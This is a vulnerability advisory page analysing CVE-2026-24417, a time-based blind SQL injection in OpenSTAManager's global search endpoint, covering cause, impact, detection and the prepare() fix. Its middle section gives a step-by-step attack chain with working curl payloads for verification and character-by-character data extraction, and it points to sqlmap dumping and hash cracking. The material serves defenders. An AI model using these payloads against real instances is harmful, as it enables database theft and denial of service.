CVE-2026-24417: 
PHP vulnerability analysis and mitigation

CVE-2026-24417 is a Time-Based Blind SQL Injection vulnerability with amplified Denial of Service potential in OpenSTAManager, an open-source management software for technical assistance and invoicing. The vulnerability affects all versions up to and including v2.9.8, impacting the global search functionality via the term GET parameter at the /ajax_search.php endpoint. It was published on February 6, 2026, by researcher lukasz-rybak via a GitHub Security Advisory. The vulnerability carries a CVSS v3.1 score of 6.5 (Medium) and a CVSS v4.0 score of 8.7 (High) (GitHub Advisory, OSM Advisory).

The root cause is CWE-89 (Improper Neutralization of Special Elements used in an SQL Command), arising from direct string concatenation of the unsanitized term parameter into SQL LIKE clauses across at least seven module-specific search handlers. The entry point is /ajax_search.php, where only a forward-slash replacement is applied before the value is passed through AJAX.php::search() to all module search files simultaneously. The vulnerable pattern — $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; — appears in /modules/articoli/ajax/search.php (line 51), /modules/ordini/ajax/search.php (lines 43, 47, 79), /modules/ddt/ajax/search.php (lines 43, 47, 83), /modules/fatture/ajax/search.php (lines 45, 49, 85), /modules/preventivi/ajax/search.php (lines 45, 49, 83), /modules/anagrafiche/ajax/search.php (lines 62, 107, 162), and /modules/impianti/ajax/search.php (line 46). Because a single request fans out to all vulnerable modules, time-based payloads are amplified — a SLEEP(1) injection can result in response times exceeding 72 seconds (GitHub Advisory, OSM Advisory).

Successful exploitation allows authenticated attackers to exfiltrate the complete database contents, including customer personally identifiable information (PII), financial records, business secrets, and password hashes suitable for offline cracking. The amplified execution model means a single malicious request triggers SQL injection across all vulnerable modules simultaneously, consuming approximately 85x normal server resources per request and potentially causing 504 Gateway Timeout errors, effectively enabling denial of service. The integrity and availability of the OpenSTAManager instance are both at risk, and extracted password hashes could enable further account compromise or lateral movement (GitHub Advisory, OSM Advisory).

A public proof-of-concept (PoC) exploit is available in the GitHub Security Advisory, confirmed and tested on a live v2.9.8 instance. The PoC demonstrates both time-based verification and character-by-character database name extraction using curl commands. As of the advisory date, there is no evidence of active in-the-wild exploitation, and no threat actor attribution has been reported. The EPSS score is approximately 0.015% (3rd percentile), indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA KEV catalog (GitHub Advisory, OSM Advisory).

1. Reconnaissance: Identify internet-facing OpenSTAManager instances running version 2.9.8 or earlier using search engines (Shodan, Censys) or by checking the application's version disclosure on the login page.
2. Authentication: Obtain valid credentials (e.g., via phishing, credential stuffing, or a low-privilege account) and authenticate to the application:

   curl -c /tmp/cookies.txt -X POST 'http://TARGET/index.php?op=login' -d 'username=admin&password=admin'

3. Verify vulnerability (time-based): Send a crafted term parameter with a SLEEP(1) payload to /ajax_search.php. Due to amplified execution across 10+ modules, a response delay of ~72 seconds confirms the vulnerability:

   curl -s -b /tmp/cookies.txt 'http://TARGET/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'

4. Boolean inference extraction: Use time-based Boolean inference to extract data character by character. For example, to test if the first character of the database name is 'o':

   curl -s -b /tmp/cookies.txt "http://TARGET/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221"

   A ~170-second response confirms the character; a fast response (~0.3s) indicates a mismatch.
5. Automate data extraction: Use automated tools such as sqlmap with the session cookie against the term parameter to systematically dump tables, including user credentials, customer PII, and financial records.
6. Crack extracted hashes: Export extracted password hashes and perform offline cracking using tools like Hashcat or John the Ripper to escalate access or pivot to other systems (GitHub Advisory, OSM Advisory).

• Network: Repeated HTTP GET requests to /ajax_search.php with URL-encoded SQL keywords (SLEEP, SUBSTRING, SELECT, AND, OR) in the term parameter; unusually long response times (>10 seconds) for search requests; high volume of requests to the search endpoint from a single IP.
• Logs: Web server access logs showing requests to /ajax_search.php?term= containing encoded characters such as %22, %20AND%20, %20OR%20SLEEP, or SUBSTRING; 504 Gateway Timeout errors in web server or proxy logs correlated with search endpoint access.
• Database: Slow query logs showing repeated LIKE queries with injected SLEEP() or SUBSTRING() functions; unexpected queries against system tables (e.g., information_schema) originating from the application's database user.
• Application: Abnormally high CPU or memory usage on the database server during search operations; application error logs showing SQL errors or timeouts from module search handlers (GitHub Advisory, OSM Advisory).

The vendor-recommended fix is to replace all instances of direct $term string concatenation with parameterized queries using the prepare() function across all seven affected module files. The vulnerable pattern $query .= ' OR '.$value.' LIKE "%'.$term.'%"'; must be changed to $query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%'); in each affected location. As an interim workaround, administrators should implement Web Application Firewall (WAF) rules to detect and block SQL injection patterns in the term search parameter, restrict global search access to only necessary authenticated users, and monitor database slow query logs for anomalous LIKE clause activity. Credential rotation for database accounts and forced password resets for potentially compromised user accounts are also recommended. Note: As of the advisory publication date, no patched release version has been officially designated (GitHub Advisory, OSM Advisory).